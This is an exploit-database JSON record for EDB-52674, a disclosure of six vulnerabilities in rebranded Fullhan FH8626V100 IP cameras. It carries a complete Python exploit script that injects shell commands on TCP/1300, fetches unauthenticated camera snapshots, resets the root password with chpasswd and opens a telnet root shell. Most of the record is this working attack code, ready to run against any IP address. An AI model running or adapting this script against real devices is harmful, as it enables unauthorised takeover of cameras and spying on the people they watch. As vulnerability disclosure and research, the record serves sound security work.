{"exploit":{"id":"EDB-52674","name":"Fullhan FH8626V100 - Multiple Vulnerabilities","description":"Fullhan FH8626V100 - Multiple Vulnerabilities","cves":["CVE-2026-51407","CVE-2026-51406","CVE-2026-51405","CVE-2026-51404","CVE-2026-51403","CVE-2026-51402"],"author":"Amir Aliu","published":"2026-09-02","platform":"multiple","type":"hardware","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52674","path":"exploits/multiple/hardware/52674.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52674.py","vulnerabilities":[{"id":"CVE-2026-51407","state":"UNKNOWN","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":null,"retrievedAt":null,"stale":false,"error":"CVE details are temporarily unavailable"},{"id":"CVE-2026-51406","state":"UNKNOWN","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":null,"retrievedAt":null,"stale":false,"error":"CVE details are temporarily unavailable"},{"id":"CVE-2026-51405","state":"UNKNOWN","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":null,"retrievedAt":null,"stale":false,"error":"CVE details are temporarily unavailable"},{"id":"CVE-2026-51404","state":"UNKNOWN","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":null,"retrievedAt":null,"stale":false,"error":"CVE details are temporarily unavailable"},{"id":"CVE-2026-51403","state":"UNKNOWN","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":null,"retrievedAt":null,"stale":false,"error":"CVE details are temporarily unavailable"},{"id":"CVE-2026-51402","state":"UNKNOWN","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":null,"retrievedAt":null,"stale":false,"error":"CVE details are temporarily unavailable"}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52674.png?v=2","url":"https://exploitbin.com/exploits/EDB-52674","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52674/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52674/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Fullhan FH8626V100 - Multiple Vulnerabilities\n# Date: 31-03-2026\n# Exploit Author: Amir Aliu\n# Vendor Homepage: https://www.fullhan.com/\n# Software Link: N/A - OEM/whitelabel IP camera module, rebranded under numerous vendor/brand names\n# Version: Firmware v201222.1007 (Device Model AJL30PG0803)\n# Tested on: FH8626V100 SoC (Fullhan FH86xx family), AJL30PG0803 device, BusyBox v1.19.3, embedded Linux (ARM)\n# CVE: CVE-2026-51402, CVE-2026-51403, CVE-2026-51404, CVE-2026-51405, CVE-2026-51406, CVE-2026-51407\n# Blog: https://amiraliu.vercel.app/blog/breaking-into-my-own-camera\n# Source: https://github.com/amiraliuks/ip-camera-research\n\n# Summary\n\nA range of rebranded IP cameras built on the Fullhan FH8626V100 SoC and shipped with the \"CareCam Pro\" app expose a chain of vulnerabilities that lead to full device compromise.\n\n- CVE-2026-51402: TCP/1300 accepts <SYSTEM>...</SYSTEM>-wrapped shell commands with no authentication (blind OS command injection, CWE-78).\n- CVE-2026-51403: The PSIA HTTP API (/PSIA/*) allows unauthenticated read/write access to device and network configuration (CWE-306/CWE-284).\n- CVE-2026-51404: An unauthenticated JPEG snapshot is served on TCP/6688 (CWE-200).\n- CVE-2026-51405: BusyBox telnetd is enabled by default via inetd, exposing a root shell to anyone holding valid credentials (CWE-287).\n- CVE-2026-51406: /PSIA/Security/AAA/users discloses the admin username and password in plaintext with no authentication (CWE-522).\n- CVE-2026-51407: Once shell access is obtained, /app/userdata/ifcfg.wlan0 stores the configured Wi-Fi SSID/password in plaintext (CWE-319).\n\n# Exploitation Chain\n\nThe command injection (CVE-2026-51402) is used to reset the root password, which is then used to authenticate to the always-on Telnet service (CVE-2026-51405), yielding a full root shell with no valid credentials required at any point.\n\n# Proof of Concept (PoC) [Full Chain]\n\nimport socket\nimport requests\nimport sys\nimport os\n\nTARGET = None\nNEW_PASSWORD = \"root\"\n\n# Helpers\ndef send_system(cmd, port):\n    \"\"\"Send <SYSTEM> command to target\"\"\"\n    payload = f\"<SYSTEM>{cmd}</SYSTEM>\"\n    try:\n        with socket.socket() as s:\n            s.settimeout(3)\n            s.connect((TARGET, port))\n            s.send(payload.encode())\n            data = s.recv(1024).decode()\n            return data\n    except Exception:\n        return None\n\ndef check_port(port):\n    \"\"\"Simple TCP check\"\"\"\n    try:\n        with socket.socket() as s:\n            s.settimeout(2)\n            s.connect((TARGET, port))\n            return True\n    except:\n        return False\n\n# Checks\ndef check_rce(port):\n    print(f\"[.] Checking RCE on port {port}...\")\n    res = send_system(\"ls\", port)\n\n    if res and \"<SYSTEM_ACK>ok</SYSTEM_ACK>\" in res:\n        print(f\"[+] RCE available on port {port}\")\n        return True\n    else:\n        print(f\"[-] Port {port} not vulnerable\")\n        return False\n\ndef check_telnet():\n    print(\"[.] Checking telnet (port 23)...\")\n    if check_port(23):\n        print(\"[+] Telnet is open\")\n        return True\n    else:\n        print(\"[-] Telnet is closed\")\n        return False\n\ndef get_snapshot(save=False):\n    print(\"[.] Fetching snapshot...\")\n    try:\n        r = requests.get(f\"http://{TARGET}:6688/snapshot.jpg\", timeout=5)\n\n        if r.status_code == 200:\n            if save:\n                with open(\"snapshot.jpg\", \"wb\") as f:\n                    f.write(r.content)\n                print(\"[+] snapshot.jpg saved\")\n\n            return r.content\n        else:\n            print(\"[-] Failed to get snapshot\")\n            return None\n\n    except Exception:\n        print(\"[-] Request failed\")\n        return None\n\ndef show_snapshot():\n    data = get_snapshot(save=False)\n\n    if not data:\n        return\n\n    tmp_file = \"/tmp/snapshot.jpg\"\n    with open(tmp_file, \"wb\") as f:\n        f.write(data)\n\n    print(\"[+] Opening snapshot...\")\n    os.system(f\"xdg-open {tmp_file}\")\n\n# Exploit\ndef reset_root_password():\n    print(\"[+] Changing root password...\")\n    res = send_system(f'echo \"root:{NEW_PASSWORD}\" | chpasswd', 1300)\n\n    print(f\"[+] Response: {res}\")\n\n    if res and \"<SYSTEM_ACK>ok</SYSTEM_ACK>\" in res:\n        print(f\"[+] Login -> user: root | pass: {NEW_PASSWORD}\")\n        return True\n    return False\n\ndef open_telnet():\n    print(\"[.] Opening telnet session...\")\n    os.system(f\"telnet {TARGET}\")\n\n# Main\ndef usage():\n    print(\"Usage:\")\n    print(\"  python exploit.py check <IP> [new_password]\")\n    print(\"  python exploit.py snapshot <IP>\")\n\nif __name__ == \"__main__\":\n\n    if len(sys.argv) < 2:\n        usage()\n        sys.exit(1)\n\n    mode = sys.argv[1]\n\n    if mode == \"check\":\n        if len(sys.argv) < 3:\n            usage()\n            sys.exit(1)\n\n        TARGET = sys.argv[2]\n\n        if len(sys.argv) >= 4:\n            NEW_PASSWORD = sys.argv[3]\n\n        rce_1300 = check_rce(1300)\n        rce_843 = check_rce(843)\n        telnet = check_telnet()\n\n        # snapshot behavior like original script\n        snapshot = get_snapshot(save=True)\n\n        if snapshot:\n            choice = input(\"[?] View snapshot? (y/n): \").strip().lower()\n            if choice == \"y\":\n                os.system(\"xdg-open snapshot.jpg\")\n\n            choice = input(\"[?] Keep snapshot file? (y/n): \").strip().lower()\n            if choice != \"y\":\n                os.remove(\"snapshot.jpg\")\n\n        # Optional shell\n        if rce_1300 and telnet:\n            choice = input(\"[?] Get shell? (y/n): \").strip().lower()\n\n            if choice == \"y\":\n                if reset_root_password():\n                    open_telnet()\n\n    elif mode == \"snapshot\":\n        if len(sys.argv) < 3:\n            usage()\n            sys.exit(1)\n\n        TARGET = sys.argv[2]\n        show_snapshot()\n\n    else:\n        usage()","sha256":"7236b535c7ac0d513d9ff147bc38d3bc849486c1bc83df294700d2497705e938","bytes":5778,"fetchedAt":"2026-11-25T10:17:06.561Z","encoding":"utf-8 (display only; download retains original bytes)"}